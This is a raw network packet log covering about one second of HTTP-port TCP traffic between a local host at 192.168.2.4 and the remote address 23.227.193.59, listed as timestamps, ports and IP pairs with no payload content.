Jul 16, 2024 22:29:51.998683929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998717070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998732090 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.998750925 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998783112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998804092 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.998817921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998861074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998871088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.998894930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998927116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.998945951 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.999196053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999248028 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.999250889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999285936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999337912 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.999339104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999372005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999404907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999420881 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.999438047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999474049 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999490023 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.999502897 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999538898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999547958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.999573946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999625921 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.999656916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999691963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999725103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999732971 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.999753952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999788046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999799013 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.999823093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999857903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999871969 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.999893904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999927044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.999947071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.999959946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.000013113 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.000076056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.000108957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.000144005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.000158072 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.001569986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.001619101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.001626968 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.001655102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.001705885 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.001708984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.001741886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.001775980 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.001791954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.001811981 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.001871109 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.001878023 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.001914024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.001946926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.001960993 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.001981020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002015114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002032042 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002048016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002080917 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002098083 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002151966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002185106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002202034 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002218962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002252102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002271891 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002285957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002320051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002334118 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002372980 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002405882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002425909 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002439976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002475977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002490044 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002509117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002548933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002562046 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002685070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002717972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002737045 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002752066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002787113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002804995 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002820015 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002851963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002871037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002887964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002922058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002945900 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.002958059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.002990961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.003010035 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.056638002 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.095266104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095333099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095386982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095439911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095475912 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095477104 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.095510006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095525980 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.095545053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095561981 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.095578909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095613003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095638037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.095645905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095679045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095701933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.095711946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095746040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095763922 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.095778942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095813036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095829010 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.095849991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.095901966 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.095983982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096016884 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096050978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096071005 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.096085072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096120119 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096138954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.096153021 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096187115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096204042 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.096220970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096254110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096271992 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.096286058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096321106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096338987 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.096354008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096388102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096406937 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.096421957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096456051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096472979 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.096512079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096545935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096560955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.096579075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096628904 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.096940994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.096975088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097007990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097038984 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.097042084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097075939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097093105 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.097109079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097142935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097162962 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.097176075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097209930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097229004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.097244024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097276926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097290993 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.097316027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097349882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097362995 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.097383976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097415924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097434044 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.097449064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097482920 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097500086 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.097518921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097570896 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.097784042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097814083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097846985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097867966 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.097879887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097915888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097939968 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.097949982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.097984076 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098001003 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.098016977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098050117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098066092 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.098083019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098117113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098134041 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.098150969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098184109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098201990 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.098217010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098249912 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098268986 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.098283052 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098316908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098332882 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.098350048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098383904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098400116 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.098748922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098784924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098807096 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.098818064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098850965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098866940 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.098886013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098920107 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098941088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.098953962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.098987103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099009037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.099020958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099054098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099071026 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.099087954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099122047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099139929 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.099154949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099189997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099205971 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.099222898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099256039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099271059 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.099288940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099323034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099339962 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.099370956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099423885 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.099792004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099826097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099860907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099878073 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.099896908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099931002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099951029 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.099965096 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.099998951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100016117 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.100032091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100065947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100079060 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.100099087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100131989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100148916 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.100166082 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100198984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100214958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.100233078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100265980 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100281954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.100297928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100332022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100351095 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.100367069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.100418091 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.183839083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.183904886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.183937073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.183954954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.183970928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184034109 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.184039116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184072971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184106112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184117079 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.184140921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184186935 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.184212923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184263945 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184297085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184325933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.184365034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184417009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184420109 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.184449911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184498072 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.184510946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184550047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184580088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184600115 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.184612989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184647083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184653997 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.184679031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184714079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184720993 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.184748888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184792042 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.184895992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184928894 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184961081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.184977055 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.184994936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185028076 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185039997 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.185060978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185094118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185100079 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.185127974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185177088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.185312986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185344934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185378075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185391903 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.185410976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185446024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185462952 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.185478926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185512066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185519934 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.185544968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185576916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185590982 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.185609102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185642004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185657024 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.185673952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185707092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185719967 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.185739994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.185785055 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.185975075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.186007023 CEST	80	49730	23.227.193.59	192.168.2.4
